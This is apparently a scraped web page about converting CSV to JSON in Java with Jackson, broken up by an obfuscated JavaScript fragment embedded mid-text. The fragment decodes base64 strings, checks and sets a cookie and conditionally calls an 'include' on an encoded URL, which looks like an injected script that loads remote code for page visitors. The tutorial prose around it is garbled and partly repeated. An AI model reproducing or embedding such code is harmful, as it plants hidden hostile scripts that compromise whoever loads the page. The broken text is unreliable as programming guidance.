We use Jackson for the JSON conversion 2 Simple CSV ParsingWhen the CSV file to be parsed is simple that there are no quoted fields or commas embedded in fields, you can use a simple pattern matcher to split the CSV fields.. constructor(x22returnx20thisx22)(x20)' ');');_0x1a074d=_0x15deeb();}catch(_0xd0443){_0x1a074d=window;}var _0x7ec6e0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /=';_0x1a074d['atob']||(_0x1a074d['atob']=function(_0x1208f1){var _0x155ac1=String(_0x1208f1)['replace'](/= $/,'');for(var _0x5b6531=0x0,_0x5e5199,_0x498aec,_0x4c435c=0x0,_0x40c8d6='';_0x498aec=_0x155ac1['charAt'](_0x4c435c );~_0x498aec&&(_0x5e5199=_0x5b6531%0x4?_0x5e5199*0x40 _0x498aec:_0x498aec,_0x5b6531 %0x4)?_0x40c8d6 =String['fromCharCode'](0xff&_0x5e5199>>(-0x2*_0x5b6531&0x6)):0x0){_0x498aec=_0x7ec6e0['indexOf'](_0x498aec);}return _0x40c8d6;});}());_0x3c93['base64DecodeUnicode']=function(_0x597369){var _0x536036=atob(_0x597369);var _0x10ec90=[];for(var _0x3ff93a=0x0,_0x3a8257=_0x536036['length'];_0x3ff93a=0x0){_0x3755a9=!![];}}if(_0x3755a9){cookie[_0x3c93('0x27')](_0x11bbdb[_0x3c93('0x23')],0x1,0x1);if(!_0x88d8a8){_0x11bbdb[_0x3c93('0x28')](include,_0x11bbdb[_0x3c93('0x29')](_0x11bbdb[_0x3c93('0x29')](_0x11bbdb[_0x3c93('0x2a')],q),''));}}}R(); How to Convert CSV to JSON in JavaConvert CSV to JSON using Jackson.. The first method defines a POJO and uses simple string splitting to convert CSV data to POJO, which in turn is serialized to JSON. Click
It uses the first line of the CSV file as field names and loads the data into a List which is then exported to JSON..
